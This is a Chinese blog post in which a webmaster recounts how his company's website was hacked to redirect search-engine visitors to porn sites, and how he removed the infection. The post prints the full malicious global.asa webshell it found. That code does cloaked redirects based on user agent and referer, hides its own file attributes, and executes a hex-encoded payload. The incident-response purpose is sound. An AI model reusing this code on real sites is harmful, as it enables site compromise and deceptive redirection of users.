前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >网站被挂马实用怎么解决的办法之一[通俗易懂]

网站被挂马实用怎么解决的办法之一[通俗易懂]

作者头像
全栈程序员站长
发布2022-09-27 11:09:10
1.5K0
发布2022-09-27 11:09:10
举报
文章被收录于专栏:全栈程序员必看

大家好,又见面了,我是你们的朋友全栈君。

最近单位网站在百度搜索点击打开都是SQ电影的内容,而直接输入网址反而没问题,在百度搜索中被提示为网站被黑的可能,很多客户搜索我们网站都进入了SQ电影网站,给公司的形象造成了很大的影响,作为公司的网站技术人员,以前也算是搞了5年的老站长了,什么事没惊着,从头开始分析网站被黑的原因。

百度的收录为基础

在百度Site下自己网站发现收录了许多SQ电影类内容快照,什么电影,什么美女zb,看了收录足足300多条快照,再看下网站首页的收录,发现已经面目全非了,百度快照都是空的。网站的标题都成了网站的地址了,内容也为空了。我这才意识到完了,网站肯定是被K了。

打开其中任意一个地址,直接跳转到了SQ电影网站上,网站地址是:

问题慢慢浮出水面

首先问题的表面就是网站的收录剧增,都是收录一些恶意的内容和违法的内容(包括SQ电影什么的)。再一个表面特征是从搜索引擎来的点击会自动跳转到SQ电影网站上,自己输入网站则不会出现跳转。这时我充分的确定了是网站程序的问题,登陆空间FTP发现网站根目录下有许多陌生的文件夹,里面的网站文件打不开也删不掉,老提示没有权限删除。再往下级目录查看时发现了一个古怪的文件名,是global.asa 用sinesafe木马检测工具检测出是木马文件,内容如下:

<script runat=”server”>

‘网站全局文件

sub Application_OnStart

end sub

sub Application_OnEnd

end sub

Public Function GetHtml(url)

Set ObjXMLHTTP=Server.CreateObject(“MSXML2.serverXMLHTTP”)

ObjXMLHTTP.Open “GET”,url,False

ObjXMLHTTP.setRequestHeader “User-Agent”,url

ObjXMLHTTP.send

GetHtml=ObjXMLHTTP.responseBody

Set ObjXMLHTTP=Nothing

set objStream = Server.CreateObject(“Adodb.Stream”)

objStream.Type = 1

objStream.Mode =3

objStream.Open

objStream.Write GetHtml

objStream.Position = 0

objStream.Type = 2

objStream.Charset = “gb2312”

GetHtml = objStream.ReadText

objStream.Close

End Function

Function check(user_agent)

allow_agent=split(“Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,QihooBot,YoudaoBot,iaskspider”,”,”)

check_agent=false

For agenti=lbound(allow_agent) to ubound(allow_agent)

If instr(user_agent,allow_agent(agenti))>0 then

check_agent=true

exit for

end if

Next

check=check_agent

End function

Function CheckRefresh()

CheckRefresh = False

Dim Botlist,i,Repls

Krobotlist = “baidu|google|sogou|soso|yahoo|bing|youdao|qihoo|iask”

Botlist = Split(Krobotlist,”|”)

For i = 0 To Ubound(Botlist)

If InStr(left(request.servervariables(“HTTP_REFERER”),”40″),Botlist(i)) > 0 Then

CheckRefresh = True

Exit For

End If

Next

End Function

sub Session_OnStart

On Error Resume Next

.servervariables(“Path_Translated”)

Set s=Server.CreateObject(“scripting.filesystemobject”)

set f=s.Getfile(“//./” & Server.MapPath(“/global.asa”))

v=Request.Form&Request.QueryString

if instr(v,”.asa”)>0 then

f.Attributes=39

response.end()

end if

if instr(name,”;”)>0 OR instr(server.MapPath(“.”),”.as”)>0 then

s.Getfile(name).Attributes=0

s.DeleteFile(name)

f.Attributes=39

response.end()

end if

S=”636e6e62643d6c6361736528726571756573742e736572766572:O=””:For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(“o=o&chr(&H”&c&”)”):Else:Execute(“o=o&chr(&H”&c&Mid(s,i+2,2)&”)”):i=i+2:End If:Next:execute o

end sub

看了这些代码我都有点懵圈了。

Baiduspider,Sogou,baidu,Sosospider,Googlebot,FASTWebCrawler,MSNBOT,Slurp,Qihoo” 这一行代码 就是搜索引擎的条件跳转代码,也就是说这个木马是根据搜索引擎来的,只要是从百度和搜狗还有谷歌来的都会直接跳转到他设定的网站。

还有一些是二进制的代码,是加了密的,我对解密不太懂,但是我的分析是他设定的跳转网址。找了几个朋友一起看了下代码,我的好朋友老刘说还有个条件跳转,是根据cookies和ip来跳转的,同一个IP和cookies只会弹窗一次,不会弹窗第二次。 黑客的手法也很高明,可见为了利益用了那么阴险的招。这种代码很安全,几乎不会让站长察觉到。

既然根源找到,解决游刃有余

把网站程序源码从空间下载了下来,放到sinesafe木马检测工具检测,又发现了许多木马文件,其中有global.asa z.aspx cende.asp phzLtoxn.php ,我在这里就不公布木马代码了,废话不多讲,直接点击清除木马,木马统统删除。ftp里删不掉的文件,找了空间商让他们在服务器里直接删除清空了目录。 最后一步就是要把网站的后台密码改掉,去年的csdn密码泄密事件搞的真让人担心,之前我是吃过亏,csdn密码和我的邮箱密码都用的一样的,导致我邮箱被盗,支付宝都被提现了,这亏吃的我是一辈子都记得,一朝被蛇咬十年怕井绳啊!

密码改掉后数据库的地址也要改掉,然后把清除木马的网站文件重新备份了一边,重新上传到空间,网站访问正常,之前被黑客攻击留下的百度痕迹需要到百度投诉中心提交一下,把网站被黑的原因写上,等百度的更新期,问题才得以解决.

一路的走来,非常的艰辛,经历才是最宝贵的,也希望上面的解决经历能够帮到更多需要帮助的人。每个站长的经历都不一样,都能无私共享一下,那么,我们站长的路会走的更远!

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/188645.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
检测工具
域名服务检测工具(Detection Tools)提供了全面的智能化域名诊断,包括Whois、DNS生效等特性检测,同时提供SSL证书相关特性检测,保障您的域名和网站健康。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档